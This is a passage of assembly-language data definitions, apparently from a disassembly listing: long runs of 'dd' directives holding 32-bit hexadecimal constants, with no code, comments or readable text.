		dd 66DF182Ah, 0B8009776h, 17DDDA6h, 0B133DBCh, 0DB8F8448h
		dd 0B8378C55h, 0CC990F21h, 558380F0h, 2BBC41Dh,	3848FAE2h
		dd 59C08441h, 46927361h, 0D14E003Dh, 0AE7BA093h, 3200C304h
		dd 7F096B8Dh, 2D239F3h,	19292F11h, 5C9314EFh, 0FA43DFB0h
		dd 415F18F7h, 0DF9D00ECh, 9F007BEDh, 0F364C9A8h, 3EE8494h
		dd 0AA59F280h, 592331D9h, 2F03573h, 0AD3F8E4Eh,	407D2C84h
		dd 39EEB61Ch, 8EBB07F7h, 90C142BAh, 0F5CE9A3Bh,	10F8490h
		dd 0E0978C2Bh, 0CA41A145h, 59E90191h, 46129E08h, 1D66DC89h
		dd 80F5EF3Dh, 293EA9A2h, 769F8B4h, 2C1C8BFBh, 25C4D1DEh
		dd 0B052F86Ah, 0DA824Ch, 0C090C929h, 175A2442h,	1534581h
		dd 7F721E72h, 0EF73E42Ah, 0A5043600h, 16E98221h, 2F2E1C94h
		dd 0DDF5C0A8h, 9CF2ED0Dh, 1F693D07h, 0B584374Eh, 80CDC2C3h
		dd 7ABF7D95h, 0C92D002Eh, 2393177h, 700DA60h, 9CE4A019h
		dd 3A5C78h, 0E645B7A8h,	735EB07Dh, 2DA2F104h, 4480C82Fh
		dd 17CC7E7h, 30764C15h,	0D8BBE856h, 6E01A251h, 9FBD0EB9h
		dd 2ECC9DADh, 0C0E77E80h, 0E59A5388h, 500A01Ch,	9EC4E0EEh
		dd 39171E36h, 6E83D749h, 10C963DEh, 300033DBh, 3CDF19C4h
		dd 7959F3A2h, 0C9580073h, 706B2F3Ah, 0BF00DE11h, 9DBB8439h
		dd 64DE0DDh, 969F7FFh, 330118B8h, 0D72E3D94h, 0C7200283h
		dd 0E07A63DDh, 8007930h, 1CC24C33h, 7C8B7553h, 4078C07Ch
		dd 0C5846E9h, 1F13FF00h, 0A328F92Dh, 0FBF6009Bh, 0DCF6A57h
		dd 0C3F4697Eh, 2CC57700h, 1A8C4E43h, 0C8FBF942h, 7FD28235h
		dd 0DCC9006Dh, 73080EB1h, 59006C19h, 75C44C60h,	3E1B8526h
		dd 0E101B4F8h, 895F0E8Ah, 1408061h, 6AC73AF6h, 96007E2h
		dd 0E03E9F31h, 0F62182Eh, 83901013h, 0EE32A100h, 0A65F41h
		dd 0F7B1BE37h, 0E2696405h, 9F070E01h, 87C8DC62h, 33FB6D0h
		dd 6A35935Ch, 0B4D0F532h, 400509CEh, 0D39AD60h,	0B5F77DC0h
		dd 0F96000Ch, 0E45FE0D1h, 0B43D9FE7h, 98A0865Ah, 1F01EF0h
		dd 811FB37Ch, 0D89EEA35h, 78007267h, 0C030D028h, 0F11CFDh
		dd 0EED4319h, 83416EC5h, 9B9F7405h, 3CC00978h, 1C4EA1DCh
		dd 83A2BEC0h, 23F887E3h, 22A1A693h, 0EAC760B8h,	0AF92060Ch
		dd 1C1965h, 0BB4110ADh,	16852725h, 0FD8E3000h, 2A1FB4D6h
		dd 0E55100BDh, 9CB19075h, 83F67705h, 18124A04h,	7E80D7DBh
		dd 0D6E013h, 0BF39FF6Bh, 0AF222752h, 9058E400h,	0A649A34h
		dd 2D4B006Ch, 6A5FD640h, 0D3F06B70h, 0CF323E00h, 4C44C487h
		dd 0F6277F14h, 8B8500F2h, 35612636h, 0C6723C29h, 6B0DA400h
		dd 0A5876543h, 0CF0803DFh, 0F1DE307Eh, 778503Ah, 0CA125446h
		dd 0B63E8760h, 0FED00A8h, 4781837Fh, 0FB0C3DFAh, 0E0500B76h
		dd 60B10079h, 0D7902968h, 8DF548Bh, 55803C00h, 74B47CEh
		dd 713D32F9h, 0A7B411Eh, 3A9C4036h, 600088B9h, 0B55DD5F2h
		dd 1ED9719h, 8DACAEABh,	0CB9081EFh, 0C1B492A8h,	0E507C20Fh
		dd 0DE346189h, 7ACC9194h, 223F24E7h, 0A5C6001Ch, 28DF0F51h
		dd 12D1E11Ch, 0AD8A6D40h, 38340A14h, 3746FE2h, 32BEB1D3h
		dd 49B00811h, 4700FEE8h, 4112D4ABh, 13E695Bh, 0A51F09DEh
		dd 0F0D35ABDh, 5318CA0Ah, 3858E9D4h, 14F20201h,	0AE7E8363h
		dd 3540F0C0h, 99794198h, 901A7EAh, 13BAEDCEh, 66F06DC3h
		dd 9F27068Fh, 20F23989h, 0EE00557Fh, 616590E9h,	2608C386h
		dd 0D8E3FBh, 5CEB563h, 520050D3h, 0F143124h, 2E34BA11h
		dd 306AF3BBh, 268C87B0h, 16EAA0C1h, 198B6BC7h, 0EA836F27h
		dd 203FDA56h, 28E9B0FDh, 185C634h, 6DC73E09h, 801FF508h
		dd 88570D18h, 39216BEh,	9A26DF20h, 15E87DEEh, 0B9071FCAh
		dd 0B0413E4h, 0A832CF43h, 0A1679Ch, 2A47E707h, 0CA61294Bh
		dd 0B0294890h, 0A30824C6h, 0B8950781h, 0DCC060BCh, 6E5471B2h
		dd 0B1633AC8h, 0D89A1238h, 81D80Eh, 0EDA599C5h,	0C9336238h
		dd 0C8423Ch, 85235FBh, 12DF2Bh,	0B9C371B1h, 0EE4BA0DEh
		dd 1400C8D4h, 28980B40h, 0D9808BE5h, 0F954CB6Dh, 0C93EB380h
		dd 3F5852Ah, 8CF05B28h,	0B1A102D8h, 0B7811A31h,	0ADF863E0h
		dd 0CF781F1Dh, 0F78901BCh, 795EB257h, 0E082D2E7h, 0CD6F4Bh
		dd 0F13C2BFFh, 9DBD810h, 568D9D04h, 73C0C37Ah, 0A031A6D1h
		dd 1422CF8h, 7690F8C4h,	87E0AB89h, 0B9C7E891h, 38DC7Ah
		dd 79BA1951h, 0B0FE2708h, 35F800C0h, 1A1B6FC4h,	5D0044BCh
		dd 0EC6068A1h, 4C98BB38h, 33008874h, 0B9B6D2C6h, 340066B0h
		dd 0B5A58B12h, 1C3ABE13h, 803F52F5h, 0B703096Ch, 7003D75h
		dd 0A9AA736Dh, 3BFAE3Ch, 2D1B4A5Ch, 5ADAAD2Ch, 0B85E18E0h
		dd 3DD513Fh, 80B2194Eh,	39E2E8FAh, 7AA90A22h, 86144DA5h
		dd 11439D32h, 0CA2BD307h, 590E4DFh, 733D746h, 563751F0h
		dd 0A9D9906Eh, 1E004165h, 5E59D1F9h, 91AF0Ah, 9BC93898h
		dd 266C4E45h, 0B8F55200h, 0FF23E667h, 2EF27533h, 718689Fh
		dd 72E030E2h, 0C1E3DE09h
		dd 8B837698h, 0D1BACB02h, 4010663Fh, 1D6883h, 1B0D383Eh
		dd 9F671628h, 0B5EE4000h, 2BEF5B98h, 85EEE8h, 0F3E3F94Ah
		dd 0F8B91883h, 13578700h, 0E41D00Dh, 6CC30EA6h,	0A3A9FB0Fh
		dd 0B839D01h, 0C636C0ECh, 275A7003h, 4BC0B0h, 95826650h
		dd 532C9680h, 804EA33Bh, 0AC070A22h, 0C0C369D6h, 0D7541CDAh
		dd 9008981h, 0C7905030h, 503FB8D4h, 0D0D1B4h, 736BC4A4h
		dd 0F29E31DFh, 0AE300800h, 69903A82h, 9634388Eh, 9FC1D80h
		dd 3BD45F6Bh, 0FA8D4100h, 26240414h, 78CE00BCh,	1699C3B0h
		dd 5B01BF82h, 0F6A99715h, 0B6F00E9Ch, 95190062h, 3E50DDD9h
		dd 9900EB10h, 9F3D61C7h, 0AB98B3h, 0A64F8D45h, 0E144924Dh
		dd 132D8F58h, 0AB3FFEh,	0FCAB1D97h, 0C7009B78h,	0BB7B6AA4h
		dd 0F6BA4Fh, 199F8E97h,	0D85095E4h, 343ABFE2h, 5E458015h
		dd 97E88CA1h, 47290h, 0F9C9C57Fh, 0DFCE0E9Fh, 9CEE1D00h
		dd 0D525A2EDh, 4EF13E08h, 4E7AD29Eh, 0E2E056E8h, 35655E9Eh
		dd 0C6BEB30Bh, 7C0903F4h, 8825C866h, 0FE4303ADh, 8B4B164Ch
		dd 4A994888h, 0E2F06200h, 0DFEAE4FDh, 60407355h, 433F72C5h
		dd 0E90FDA7Ah, 65B49Bh,	141F9207h, 2F8F433h, 0F9390479h
		dd 0F4814A54h, 0F8DC99D4h, 0AEB0E689h, 75F01A50h, 9BC40C00h
		dd 0B9FDCDF9h, 934A0007h, 804D210Bh, 0CFE22435h, 0C2AFE700h
		dd 5BC06583h, 0EFAC00B0h, 5455961Bh, 34008BC8h,	24B679CEh
		dd 186938F2h, 7937F80Eh, 0DD42CA95h, 0DBE3409Fh, 81766743h
		dd 0A9FA4000h, 2DCB486h, 0AF8B00F3h, 2F41D501h,	12008DF8h
		dd 56B9D7C0h, 886719h, 8958814Ch, 7CDDD203h, 0DB092E00h
		dd 0B7F0D68Bh, 9E730008h, 1E9BBDECh, 72E03BE3h,	0AD5F340Fh
		dd 870CB60Eh, 3D300Ah, 0A769A58Dh, 109789C2h, 6F1AAA0Eh
		dd 0B081C0DDh, 0EF9693h, 0BCD2CEF7h, 0DCA375F1h, 3633B900h
		dd 0B04C635Bh, 65FEF5h,	0E8E183A9h, 0C5B775C0h,	9B5E3500h
		dd 0C37B90A1h, 416A0E24h, 8460408Bh, 98F80809h,	3C95540Eh
		dd 0B950E1B0h, 6DE01DC9h, 52CB0123h, 0BB53BD02h, 4B2880FFh
		dd 0D61E875Eh, 504400D5h, 0F68D6D86h, 0B000936Ch, 0A02179CCh
		dd 0A862C6h, 57F829Bh, 7E54090Ah, 57488900h, 70AD8E6Ch
		dd 0A856039Ch, 0B1FE3A1Eh, 0CFDF63B0h, 2C626500h, 16E78EA9h
		dd 585E0077h, 11D4DD4Ch, 0B10017CBh, 0B2E990D2h, 248B4E46h
		dd 0F0F162h, 0C737323Ah, 0C4028D03h, 4D6325D8h,	4844C3h
		dd 64E08A50h, 394E2A6Eh, 53948800h, 0AE8DAB3h, 0C6F10089h
		dd 0F8DD087Dh, 272A8B2Ch, 9009897h, 0A4B2E864h,	0CC2E59h
		dd 5195D75h, 0C5F73FA8h, 0FFAAD401h, 2F49EDB5h,	1E8A81F4h
		dd 6DA1E7h, 0A89B347h, 0C50EDD13h, 0C032C36Fh, 4CD0758h
		dd 0C29F2C2Dh, 0A8100910h, 88907C00h, 81017E3Eh, 63E8CC1Fh
		dd 245064A5h, 0A95786h,	9D242794h, 43DE7481h, 0DFEFEE02h
		dd 0E0A578ABh, 2C8A20AFh, 433C758Fh, 0BAC045CFh, 0AE3F36C4h
		dd 0EF761FE8h, 3B0821C0h, 81F652h, 15260F06h, 4F33AB5h
		dd 0D7BF5800h, 921E85C4h, 0B58B8A7h, 80E64E57h,	8E4CA300h
		dd 0C103906Ah, 95AA8C0Dh, 0EDE000E9h, 96B2A8F7h, 0B81C853Bh
		dd 0FC0F90C5h, 0E21B20FAh, 0F8F727h, 8EEAAE17h,	67E9E883h
		dd 7AA3200h, 6F559B7Dh,	1A9F4F4h, 0A3E25BBh, 0F0FFC663h
		dd 380EA004h, 29B73B33h, 88C42010h, 9ABCB175h, 0F4AA009Ch
		dd 50B3AE66h, 0CB093223h, 0FA30422h, 629760B7h,	9806D13Ch
		dd 8EFB0004h, 310DC5B4h, 0BF0059D5h, 0EADBFC15h, 7F8986h
		dd 23106164h, 0AB3F2EDDh, 3D51631Ch, 0D7920E80h, 0B077C383h
		dd 2C5D02DCh, 56F354EEh, 59FF3468h, 0D9BA130Bh,	0B6EC0044h
		dd 0EA73E543h, 24700057h, 13BFA53Bh, 4800A1ECh,	0F5CD1CC2h
		dd 92B34144h, 7B46E008h, 158E0072h, 8DBAAFD7h, 60B5640Bh
		dd 21087Ch, 0EC446C69h,	0B4FA86CCh, 1B2E0C02h, 49E84914h
		dd 80667634h, 0ABAD8F00h, 0AE7CA940h, 68C8FB33h, 51F580BEh
		dd 0A2F302F2h, 88595D46h, 45ECACC0h, 64D748h, 1DA8E674h
		dd 12C32Ch, 0D45EB6F3h,	0EAB9F514h, 0EFC40100h,	69BC39DCh
		dd 3E509083h, 0F7800C58h, 8E022F4Ah, 1A00469Bh,	0C8DA39D8h
		dd 0E77FC3AAh, 507028F4h, 0EBEBC6h, 4DB0D317h, 0CC13CB81h
		dd 0A800FE73h, 6B644418h, 90F2FD69h, 0A4B715B7h, 0D700D85Dh
		dd 0AD1D38CBh, 800DFA7h, 9143D442h, 91DCB546h, 683908E4h
		dd 301F6A60h, 0A6650AF1h, 0ED01814h, 0CFA0A09Fh, 63EEDE7Ch
		dd 0BE9BFD00h, 28A49A4Bh, 0C36E0088h, 20AF5F95h, 4000C2A2h
		dd 0A0716F8Ah, 0C7BB4A55h, 0D722C1E8h, 9E37D6E2h, 0F7358304h
		dd 4CCA0D0h, 0A649048h,	0C5C6FBBBh, 0AFFE00C0h,	0EF88123Bh
		dd 24294900h, 0E41ED5A3h, 0A4690083h, 208E1F7Fh, 8B00EBFBh
		dd 0A5983F16h, 0D6AB61h, 2D930409h, 19081129h, 0F3C85E04h
		dd 4488A368h, 78C95855h, 0A72CCD80h, 437D359Fh,	9CA57226h
		dd 825C5D83h, 0CFA900ABh, 0E1C6F9C4h, 59281D3Fh, 0DD07ECA7h
		dd 0B95F50A3h, 47D96530h, 93490078h, 872BEFBAh,	0D8782F4Bh
		dd 18EE0A24h, 809DA80Bh, 7CF84774h, 94680EE6h, 0CBC03164h
		dd 0ED2A2920h, 8798D700h, 0F7D33337h, 3AAC0330h, 0A083ABC1h
		dd 46234FC0h, 9DDD3D00h, 0D78A3871h, 1270E153h,	0B0D40E32h
		dd 77418DA6h, 0FC7B6405h, 0D33B2F2Eh, 70F6070Eh, 0E0E03E8Ah
		dd 5149D78h, 0A7CFD858h, 2F9C0057h, 0CDEF6FD0h,	1420300h
		dd 65F0E10Dh, 0D4A2009Fh, 0ADD9685Ch, 270002F4h, 0AE892272h
		dd 62F236C7h, 7E1D4042h, 0A0CF9884h, 0A4EA404Ch, 79014776h
		dd 9D6E5A3Fh, 16844487h, 0CB2C5FC4h, 8D9D04F8h,	50D04862h
		dd 5CC1479Bh, 40803C70h, 0B1AFF654h, 145B60C0h,	907EC21Eh
		dd 10497BCCh, 3CA2ECFDh, 99598750h, 7FD14D8Dh, 7ADD6B37h
		dd 58FA7820h, 7C023AF0h, 0F7DFDE01h, 30A438C5h,	8AD31C0h
		dd 0A7350192h, 229F6CCFh, 78363001h, 64006F4Bh,	3B40EC52h
		dd 88E00096h, 6A9A853h,	2F0069A1h, 3447D454h, 1EFA14D6h
		dd 0E2419B7h, 3A400597h, 632309DFh, 0B4093D75h,	3263435h
		dd 0E8F64C98h, 0BDBD7h,	0C8BDC638h, 8EC359Ch, 1E1F0A02h
		dd 0C08E8783h, 3AD640h,	0F52C8AC3h, 3422416Eh, 0E44BA100h
		dd 3FFA663Dh, 8B25002Fh, 0D30B9803h, 0A8001449h, 3BED7C1Fh
		dd 0C6AF6Ah, 9DAB9710h,	0FF9E1674h, 91D73601h, 0E7B2962Ah
		dd 7612E2F4h, 34D51DBBh, 0C27E8074h, 0CBA6F1EAh, 356B5300h
		dd 8F695188h, 5D200068h, 0AD6AFACFh, 0AEF0A26Eh, 1EB01202h
		dd 60ACE384h, 1E4224C4h, 0C0152AE8h, 56CC677Eh,	5400BF02h
		dd 209B45B5h, 0E60CA033h, 1AFC6Bh, 9E0FC879h, 0FDA33855h
		dd 8C509600h, 534D6C4h,	0FBA7002Fh, 0DD5794EAh,	24008E32h
		dd 0AFCEDEE8h, 0B6263h,	0D743A39h, 0C1169D7Ah, 0CC372400h
		dd 26405436h, 0E4EB240Eh, 4B4F9D10h, 0DC07A209h, 68D8D032h
		dd 20FDAEFFh, 7A01F718h, 21C1C4D1h, 19D4896Eh, 0DC590E6Ah
		dd 0DB607D91h, 0B5BCE449h, 9E009CFAh, 635FC80Bh, 0C4DDF84Bh
		dd 0C6447280h, 8E008110h, 0DF413378h, 3018C9D9h, 4989E3C6h
		dd 467436DBh, 0F5E98014h, 264F0A0Ch, 3E1E500Ch,	45FD1380h
		dd 6C4B8ECh, 56C27250h,	57001207h, 1CE5F8C8h, 0E2B0941Fh
		dd 0E43707A5h, 6023273Eh, 0B69A5C3Dh, 7897C700h, 0F2D392A7h
		dd 4C475C0Ch, 8A00F459h, 114EAF33h, 0AE002A95h,	0A8DCF90Bh
		dd 0A09B0A94h, 0F726FB4h
		dd 0B562EC40h, 17A25D80h, 4516DEF8h, 0BC4047FCh, 1FA96679h
		dd 23BC39B9h, 9CCDD68Eh, 40F852A1h, 0D3C07B0Bh,	3028E015h
		dd 2D589287h, 3800B9C0h, 4794BF0Ch, 4AE182h, 0B417569Bh
		dd 0C4070D04h, 2266515h, 0C2AC0088h, 0BE83BDE4h, 8D3B0459h
		dd 0C6F6C697h, 400020F2h, 44266876h, 708B74FFh,	0C3EEC5h
		dd 0B51BB352h, 0EB25841Dh, 4800F973h, 2A53BC0Fh, 1E3413h
		dd 76A37FC1h, 0B40C80E1h, 22FD7A0Fh, 5DBE00C8h,	181BEDFFh
		dd 0F0C020B7h, 0E5004BD6h, 4F17EF01h, 16331DEh,	0E9938E5Bh
		dd 5022C5DFh, 31E24A14h, 0EE0FB700h, 3382585Ah,	19890020h
		dd 0AD597DA5h, 3D01225Fh, 0D6DCE063h, 70D048C3h, 3A20C0CEh
		dd 4B9114C0h, 331AD707h, 4D605CEFh, 0E412AF3h, 94731C2h
		dd 98E04480h, 2F00EC6Ch, 0A3C1BBB9h, 0F80CDDDBh, 31C700C9h
		dd 0EE38E624h, 7C0E327Ah, 2023041h, 791540Bh, 7963B0C4h
		dd 0B5008245h, 9C0237F1h, 803E9BDDh, 203B6471h,	2707811Eh
		dd 5CCC3DEEh, 0A5CDD0h,	1AE386DDh, 0FA6E404Dh, 0E0092F66h
		dd 7FBD0021h, 0D7708D85h, 8101CA55h, 0BE022383h, 789CC793h
		dd 451ED8h, 684DBA98h, 286FC31Bh, 750960E0h, 583077h, 0DE675760h
		dd 6F253C33h, 3E162BE0h, 1E001D71h, 0DB7F6639h,	7A8F023h
		dd 6888C248h, 5C5C063h,	93CAED4h, 777A3BA7h, 7EEBFC00h
		dd 0C878435Bh, 0C6ED008Dh, 0AEA63588h, 800DB90h, 50239BE2h
		dd 4C5985h, 45427064h, 9DD8BF0Fh, 1BCC8E0Bh, 85A000E3h
		dd 0FFEFA5h, 8BC6720Bh,	0F763FECDh, 1F8D6603h, 0E02F8087h
		dd 90071Ah, 0D7026C7h, 0EC411940h, 0E2F86600h, 0CB5D942Ah
		dd 6C91003Ch, 0A94AEA15h, 123A609Eh, 0B8450053h, 8ACFFF65h
		dd 0CDC2008Fh, 0E4281AEh, 7D00748Bh, 89D069F4h,	0F750D7Eh
		dd 0E90CBB56h, 0BC2C8D03h, 6FB329C0h, 0AF3D28C0h, 7A2C2A4h
		dd 0F33E2739h, 70868E6Bh, 8A3E2073h, 546000BFh,	92D27A30h
		dd 0C24F00E9h, 2CFC6F8Bh, 8800BD45h, 0F6950B8Dh, 0E865C0h
		dd 6FDE7A57h, 2160DFCBh, 0DDF1471Eh, 0C6C05D1Fh, 7298B9BFh
		dd 3AA40617h, 31401220h, 81D58400h, 0EFCA473Ch,	2526006Ch
		dd 6EA888DDh, 0B6007C09h, 0C27B381Ch, 3802C59h,	5AE97042h
		dd 3CE01424h, 0E1184850h, 0F701086h, 0FC7E00E5h, 0E7ADBED9h
		dd 9E3D24A9h, 0F4608012h, 11BB5DDh, 760E002Ah, 7F78E82Eh
		dd 0A400F088h, 0C5D11499h, 738D8Ah, 0C018FFFAh,	3BDFF516h
		dd 0C20168A4h, 0AF74A4D8h, 11081224h, 0BD7740h,	52CA8C82h
		dd 94074462h, 0CF000D7Dh, 8B182090h, 128F3C42h,	0A851C9h
		dd 0D14473CCh, 0AA00AC8Eh, 37934A0Fh, 3B3A3CA0h, 0A6001A91h
		dd 8A442378h, 0B400B0E6h, 6AB239BAh, 144238h, 24BFDCDAh
		dd 5E042540h, 0E9FCFA00h, 0DDD88331h, 2A854C70h, 0DCAF2600h
		dd 6D960151h, 5501437Ch, 0DDB8A65Ch, 0B0F383D0h, 739C83Eh
		dd 0C4BAAE0Ah, 27D52181h, 30DECAFh, 3F1C9600h, 85BD1BBFh
		dd 8970094h, 0A267AE9Ah, 431C5189h, 6080B68Ch, 2B8EFD09h
		dd 412C0049h, 7B1A4BE0h, 443FF8DCh, 263A48CAh, 0F6011371h
		dd 0B6C5BC25h, 38120DC8h, 57001045h, 0E0043AFFh, 0F57186C7h
		dd 0DDDF3100h, 152342F8h, 145DE6E5h, 805E6292h,	0B80D1863h
		dd 55000878h, 4AF1E78h,	74FA67Dh, 58CCF381h, 57F19099h
		dd 9A00EF2Eh, 9E613AB8h, 836D65h, 2984D56h, 0FB0E47Eh
		dd 8521E660h, 0D7AF97h,	96BA2D79h, 0A3F69C16h, 0E6A96C00h
		dd 0F0EA34CEh, 0AB58C40Bh, 6EBE30E9h, 977610FCh, 0B990C474h
		dd 0B5604400h, 6970C562h, 5232DF00h, 6DBFECC8h,	57610039h
		dd 0BD1698A1h, 9C0046EDh, 0E8EA31FFh, 791547C8h, 0F6C300E6h
		dd 0F806530Bh, 0E00135E4h, 176099CFh, 543046D9h, 0D2D11705h
		dd 0BB5605D0h, 4BA4806Dh, 0EE60A7D8h, 4ABF9910h, 0A2100A8h
		dd 0C2EBF85Bh, 6900FFA4h, 26DBCDEh, 1520893h, 9013E10Ch
		dd 306CD912h, 3D03F58Ah, 0DD86396Eh, 7FB0007Ah,	0A45E9E37h
		dd 3300F208h, 0CBFC2250h, 7CFB6425h, 0BEF60D72h, 0A622BAAh
		dd 0DCA2C444h, 814A7437h, 0F89892A8h, 1805A6A0h, 0F301BA16h
		dd 0EC7FC044h, 867D037h, 734377FFh, 0C8009422h,	6684B338h
		dd 0E66E31h, 23482D59h,	0DC3C6AF0h, 0BCBA143Bh,	0DE030F3Fh
		dd 81A7C176h, 4FECF5D1h, 0E5660052h, 0D03DC093h, 0C9007AF6h
		dd 0E6C60AAAh, 5FAF81h,	3E127720h, 0CDEFB6B3h, 0AA877400h
		dd 7C711CDAh, 8DC90B95h, 0B00889Eh, 0C6B4B633h,	0F23B842Eh
		dd 48755100h, 134E3AAh,	60793040h, 213A7F0Fh, 9F3FD1C1h
		dd 1800F021h, 0D914FDE3h, 7DE200E8h, 72C3A8B4h,	130038EBh
		dd 0FA0730EEh, 35D3714h, 586184E2h, 1FB87CD9h, 8300BEBAh
		dd 0B235DD3Bh, 0FA27A459h, 73073962h, 0A300FBDCh, 729AC783h
		dd 0E572AF48h, 0C5799F01h, 65519391h, 0C8E12081h, 82CEFE4Bh
		dd 0CCA4878h, 0C8D3E399h, 0EA26DCh, 0C625E3D9h,	7487BCDh
		dd 97FCA390h, 0B6E84100h, 4356D846h, 6F980071h,	889D7ECCh
		dd 6E29809Fh, 85078CEDh, 10CC5838h, 0FFB2173Fh,	7EDD00D7h
		dd 0CDE64851h, 0ECE08DE2h, 9005477h, 0DA01D196h, 0D53258h
		dd 0D9DC61ABh, 0B8FE272Dh, 6C570700h, 860BC3E0h, 0F3190FC5h
		dd 0EF808945h, 59878FEDh, 636B3Ch, 541C650Fh, 0EA8AD333h
		dd 64D93E93h, 3725161Ch, 2CC5D160h, 2818C0FBh, 9155DB00h
		dd 0A29857EEh, 0F26058B0h, 76A6DA00h, 0BDFCD871h, 972F7300h
		dd 862BECA1h, 3E07908Fh, 0B08058CFh, 35E60C9Eh,	0BF00801Ah
		dd 0DF7F8574h, 1BE84781h, 5161B0A9h, 0A2A8D690h, 8512E100h
		dd 0E2F59E2Ah, 0DF900589h, 80136D3Ah, 6BC6574Ch, 35D0A700h
		dd 0F00E0CADh, 65B00061h, 3D9EE877h, 0C7006BC5h, 0B3EB541h
		dd 7E4727h, 0F8384F2Ch,	0F6E2E398h, 5A98D754h, 0FFB5D502h
		dd 40A61020h, 3A553B6h,	0F0847CE3h, 0E9F8C7F7h,	8CA00EACh
		dd 4101C57Fh, 98B450D1h, 98405D3Dh, 7A7E5Fh, 0D63629E2h
		dd 0C0B838ABh, 9AAFFF00h, 6532C5C7h, 0E5F200C9h, 6C7640DFh
		dd 16004AD5h, 0C4C6ADA8h, 713807BAh, 0ECD7005Ah, 8DABC2E5h
		dd 4001984h, 0DE1F4326h, 7EAF6DCh, 23CE7712h, 0DA164013h
		dd 632526B0h, 0C5E20003h, 0C688D9h, 95105F1h, 0AC8A054h
		dd 0C2B7DD00h, 0F904CA90h, 7BC000A3h, 0F463B236h, 0A718C766h
		dd 0A0086541h, 0DB20C01Fh, 8284F9A5h, 564CEA00h, 7BFE735Eh
		dd 0B7713905h, 0C60F0676h, 60721DB6h, 0BE07B100h, 22EB14C0h
		dd 0C29B5C68h, 261B0072h, 0AE23DBA3h, 0EDF0C0BDh, 9AD98560h
		dd 7FB7CAB5h, 8E0D0233h, 9709C25Eh, 0AFD25881h,	4C0C08C9h
		dd 950A67B5h, 0E58E326h, 0C0601132h, 0EBB2F875h, 5E3EC600h
		dd 0F4049E44h, 1BF500F7h, 0B80923D0h, 6200D240h, 885327AAh
		dd 0DD37B5h, 4EDE6E41h,	23BC7C96h, 2281D8C0h, 736B3C6h
		dd 911B1A37h, 0A2998087h, 120EEF51h, 0C0A5AE88h, 4B55BD10h
		dd 0F90C002Eh, 579738D6h, 833979D9h, 6027804Eh,	0B4DE04C0h
		dd 295A00ECh, 53DAA4CFh, 0A8009043h, 0C66DD546h, 0CB453Ch
		dd 14DD9EF5h, 7FD4A2EEh, 44754900h, 108F332Ch, 0AE1E00E1h
		dd 8DEE08Bh, 9D07FF92h,	0DA5AD2BDh, 45F5B4D0h, 444C0027h
		dd 0E4BCBF41h, 0AA009A3Dh, 215F6E86h, 2F68D3Eh,	57D58E5Eh
		dd 0D7C8407Dh, 0A3031D69h, 6812A888h, 0CE3D987Ah, 6274FFh
		dd 6ADD5E02h, 0BC825316h, 21F81430h, 25477Dh, 0C2B491AFh
		dd 0A17F84B2h
		dd 8B15F700h, 4D72A31Eh, 25CE0A1Fh, 402C47A8h, 5EDFA2B9h
		dd 5C0D4508h, 779156h, 9CE0DE10h, 1C86B37Fh, 9EFBC9h, 0F697CFF5h
		dd 0F901584Fh, 6EF06C46h, 0E980B46Fh, 0E169DFCEh, 576F4967h
		dd 140F0078h, 0E2861527h, 0CF1B0E39h, 0E58CF691h, 4C000C31h
		dd 0E850A27h, 3E8C367h,	4084A8D3h, 53D857A4h, 0DF00FB70h
		dd 7BE2C0AFh, 80C345h, 86B7C263h, 2D35CF43h, 0A6E4BB01h
		dd 9867C658h, 1752C0DBh, 9B80006Bh, 56BCB1D8h, 0A51873E1h
		dd 389920AFh, 99310823h, 0BC62AB26h, 5C70003Bh,	76E2C423h
		dd 77F72C1Eh, 0A98C9502h, 0DD2888C0h, 0B2E31107h, 0BB6D6380h
		dd 39FC6Ch, 6A933FEFh, 2A3DBFDFh, 25FD1700h, 0F514019Ch
		dd 276E00B4h, 0DBE27D18h, 81FA229Bh, 0AB00FAEAh, 7CA2CAD5h
		dd 708F034h, 0B244D73Bh, 0AF30C0E2h, 0F300CEFCh, 9D9401C8h
		dd 7B7FECCh, 6CF5D8D2h,	405F6F9Eh, 0C8A4CBB2h, 0CC7274D9h
		dd 0C60C2900h, 7E75E290h, 0F0E0F2h, 0E11AE568h,	0CA02AAAEh
		dd 42A5BE30h, 0E9159Ah,	0E4DD937Eh, 81105D7Bh, 0E30019FAh
		dd 7C4F34DAh, 105F9ECh,	83BF9553h, 0CC1C138Bh, 4D1C8162h
		dd 77000E7Ah, 1E930903h, 145E016Ch, 61C50413h, 63804173h
		dd 2E8ED0A2h, 0C0D5CF06h, 30387AD0h, 6420971Bh,	390756D7h
		dd 2075C33h, 0B5DF2720h, 2EF000C0h, 1C5F60Bh, 7F1DE7D5h
		dd 0F7FE43Eh, 0AFC652h,	0D23F9E07h, 42BF00F6h, 359C5AF5h
		dd 92005748h, 40393BC4h, 0F05288F3h, 0D712004Eh, 299C7426h
		dd 893CBC9Ah, 3CBF1Bh, 22879FA4h, 10B1A5h, 0D473C841h
		dd 0FE828FE5h, 91EB3500h, 0DF204963h, 0B5E60034h, 807CF68Eh
		dd 45030498h, 380C51C8h, 0F80EB3E5h, 0DB2531h, 7E9C554Fh
		dd 0AB97221h, 0BD7CA300h, 3681EF3Ah, 96450762h,	0E6DA6EE9h
		dd 0FF009098h, 64DE86E0h, 16047Fh, 607E8267h, 40F4C10Dh
		dd 0B7725400h, 9697C6F3h, 0DBF871h, 0C3E484Eh, 0AA12D23Ch
		dd 0F08F3937h, 7B80C0DEh, 0B6454Fh, 5741060Bh, 25EE598Bh
		dd 0A8178A04h, 5818A0AFh, 88C53EF3h, 2C42DD96h,	2ED5B58h
		dd 2C1088CDh, 631F8889h, 0E461B44h, 0A8097FFCh,	4307B3E4h
		dd 10B5A187h, 821E69B0h, 6D1A4D4h, 59C04061h, 47DEF4E0h
		dd 9D8311B6h, 4660848h,	6CF70480h, 8C13494Dh, 4255B0CFh
		dd 2E50151Dh, 47951484h, 2C8272Ch, 0A277B684h, 80625A2Ch
		dd 29B3A8B4h, 0D1FCA04Fh, 0C6470008h, 0E57B4E89h, 2400A20Dh
		dd 455F1B64h, 0F6A140h,	92D4B2EEh, 6C989B66h, 91E894E6h
		dd 5A120300h, 6DC11B46h, 204400CDh, 51826FDBh, 0A200F98Bh
		dd 86179285h, 0C0150D33h, 264945F8h, 8F00FE14h,	0B8BB2394h
		dd 18438E31h, 30114E87h, 0CC007B74h, 0A12E872h,	9B88B3h
		dd 31CA2CAFh, 0BD456BCDh, 0CE3D3EEEh, 0AAF9800Fh, 84335904h
		dd 0FE7603DAh, 19E83C14h, 96C7EFB0h, 1522300h, 2FDFCCA0h
		dd 9CC10064h, 0D588C0E0h, 1B001148h, 8120015Ah,	610CF0A7h
